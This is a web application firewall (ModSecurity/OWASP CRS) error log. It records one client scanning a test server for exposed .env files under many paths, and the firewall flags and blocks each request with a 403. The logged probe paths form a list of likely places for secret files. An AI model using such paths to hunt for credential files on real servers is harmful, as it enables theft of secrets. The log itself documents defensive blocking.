[Thu Feb 26 01:03:03.623003 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/09-production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-wAAAAA&quot;]
[Thu Feb 26 01:03:03.623228 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-wAAAAA&quot;]
[Thu Feb 26 01:03:03.623369 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/09-production/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy-wAAAAA&quot;]
[Thu Feb 26 01:03:03.658102 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/10-subscriptions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_AAAAAA&quot;]
[Thu Feb 26 01:03:03.658321 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_AAAAAA&quot;]
[Thu Feb 26 01:03:03.658489 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/10-subscriptions/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_AAAAAA&quot;]
[Thu Feb 26 01:03:03.694218 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/11-transactions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_QAAAAA&quot;]
[Thu Feb 26 01:03:03.694463 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_QAAAAA&quot;]
[Thu Feb 26 01:03:03.694620 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_QAAAAA&quot;]
[Thu Feb 26 01:03:03.701256 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-relay-modern/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlJgAAAAI&quot;]
[Thu Feb 26 01:03:03.701486 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlJgAAAAI&quot;]
[Thu Feb 26 01:03:03.701643 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-relay-modern/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlJgAAAAI&quot;]
[Thu Feb 26 01:03:03.726394 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/with-universal-configuration-build-time/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlJwAAAAI&quot;]
[Thu Feb 26 01:03:03.726620 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlJwAAAAI&quot;]
[Thu Feb 26 01:03:03.726773 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/with-universal-configuration-build-time/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlJwAAAAI&quot;]
[Thu Feb 26 01:03:03.727842 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/drupal-separate-services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_gAAAAA&quot;]
[Thu Feb 26 01:03:03.728049 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_gAAAAA&quot;]
[Thu Feb 26 01:03:03.728193 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_gAAAAA&quot;]
[Thu Feb 26 01:03:03.753548 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKAAAAAI&quot;]
[Thu Feb 26 01:03:03.753769 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKAAAAAI&quot;]
[Thu Feb 26 01:03:03.753926 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKAAAAAI&quot;]
[Thu Feb 26 01:03:03.763491 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/react-dashboard/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_wAAAAA&quot;]
[Thu Feb 26 01:03:03.763714 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_wAAAAA&quot;]
[Thu Feb 26 01:03:03.763866 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXiy_wAAAAA&quot;]
[Thu Feb 26 01:03:03.790226 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/sdl-first/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAAAAAAA&quot;]
[Thu Feb 26 01:03:03.790464 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAAAAAAA&quot;]
[Thu Feb 26 01:03:03.790615 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAAAAAAA&quot;]
[Thu Feb 26 01:03:03.813333 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exercise.frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKQAAAAI&quot;]
[Thu Feb 26 01:03:03.813568 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKQAAAAI&quot;]
[Thu Feb 26 01:03:03.813721 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ-Nt4Cbt-ue5ARpbmjlKQAAAAI&quot;]
[Thu Feb 26 01:03:03.825351 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/sdl-first/prisma/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAQAAAAA&quot;]
[Thu Feb 26 01:03:03.825573 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ-NtySJSniLip0oFXizAQAAAAA&quot;]
